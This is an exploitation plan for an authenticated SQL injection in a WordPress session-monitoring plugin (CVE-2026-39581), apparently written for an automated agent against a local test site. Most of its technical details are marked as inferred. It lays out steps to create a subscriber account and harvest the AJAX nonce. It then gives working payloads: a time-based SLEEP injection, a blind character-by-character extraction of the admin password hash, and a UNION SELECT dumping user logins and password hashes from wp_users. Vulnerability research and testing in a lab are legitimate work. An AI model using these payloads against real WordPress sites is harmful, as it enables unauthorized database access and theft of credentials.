Exploitation Research Plan: CVE-2026-39581 (WP Sessions Time Monitoring Full Automatic)

1. Vulnerability Summary

The WP Sessions Time Monitoring Full Automatic plugin (version <= 1.1.4) is vulnerable to an Authenticated SQL Injection vulnerability. The flaw exists because the plugin fails to properly sanitize or parameterize user-supplied input before using it in a database query within an AJAX handler. Specifically, an authenticated user with at least Subscriber-level privileges can manipulate an SQL query to extract sensitive data from the WordPress database, including user hashes and configuration secrets.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: at_get_activity_data (inferred from plugin slug activitytime and typical tracking patterns)
• Vulnerable Parameter: user_id or id (inferred)
• Authentication Required: Yes, Subscriber role or higher.
• Nonce Protection: Likely required via a nonce check (e.g., at_nonce or security).

3. Code Flow (Inferred)

1. Registration: The plugin registers an AJAX action for authenticated users:
   add_action('wp_ajax_at_get_activity_data', 'at_get_activity_data_callback');
2. Handler: The function at_get_activity_data_callback is defined in the plugin's main files (e.g., activitytime.php or includes/class-at-ajax.php).
3. Input Source: The handler retrieves a parameter directly from $_POST['user_id'] or $_POST['id'].
4. Vulnerable Sink: The input is concatenated directly into a query string without using $wpdb->prepare() or absint()/intval().
   • Example Vulnerable Code: $wpdb->get_results("SELECT * FROM {$wpdb->prefix}at_activity WHERE user_id = " . $_POST['user_id']);
5. Execution: $wpdb->get_results() or $wpdb->query() executes the malicious SQL.

4. Nonce Acquisition Strategy

Since the vulnerability requires Subscriber-level access, the nonce must be retrieved from the WordPress admin dashboard or a page where the plugin's tracking script is enqueued.

1. Create Subscriber: Use WP-CLI to create a subscriber user.
2. Login: Perform a login request to obtain authentication cookies.
3. Navigate to Dashboard: Use the browser to navigate to wp-admin/profile.php or the main wp-admin/index.php.
4. Identify JS Variable: Look for a localized script containing the AJAX URL and nonce.
   • JS Variable: at_ajax_obj (inferred) or activity_time_data (inferred).
   • Nonce Key: nonce or at_nonce.
5. Extraction:

   // Browser Eval
   window.at_ajax_obj?.nonce || window.activity_time_data?.nonce
   

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload to confirm the vulnerability.

Step 1: Authentication

Send a POST request to /wp-login.php to authenticate as a subscriber.

Step 2: Extract Nonce

Navigate to /wp-admin/ and use browser_eval to extract the nonce from the localized script.

Step 3: Send Malicious Request

Using the http_request tool, send a POST request to admin-ajax.php with a time-based payload.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • Cookie: [Subscriber Cookies]
• Body:

  action=at_get_activity_data&user_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[EXTRACTED_NONCE]
  

Step 4: Analyze Response

• Success: The response time is > 5 seconds.
• Failure: The response is immediate (likely returning 0, -1, or a valid JSON result).

6. Test Data Setup

1. Install Plugin: Ensure activitytime version 1.1.4 is active.
2. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Generate Activity: Log in as the attacker once to ensure some tracking entries exist in the at_activity table (or similar table created by the plugin).

7. Expected Results

• An immediate request (baseline) to the endpoint should return within < 500ms.
• The payload 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) should cause the server to hang for exactly 5 seconds before returning a response.
• Since it is Subscriber+, the attacker should be able to trigger this even if they cannot see the full admin menu.

8. Verification Steps

1. Confirm Database Latency: Verify the http_request time duration using the logs.
2. Verify via WP-CLI: After the exploit, use WP-CLI to check if the plugin logs indicate any errors or if the table being queried exists:

   wp db query "SHOW TABLES LIKE '%activity%';"
   

3. Data Extraction (Optional): If time-based works, a payload to extract the admin password hash:

   1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)
   

9. Alternative Approaches

• Error-Based SQLi: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the AJAX response.
  • Payload: user_id=1'
• UNION-Based SQLi: If the endpoint returns data (e.g., a table of session times), attempt to determine column count using ORDER BY and then use UNION SELECT.
  • Payload: 1 UNION SELECT 1,2,3,user_login,user_pass,6,7... FROM wp_users-- -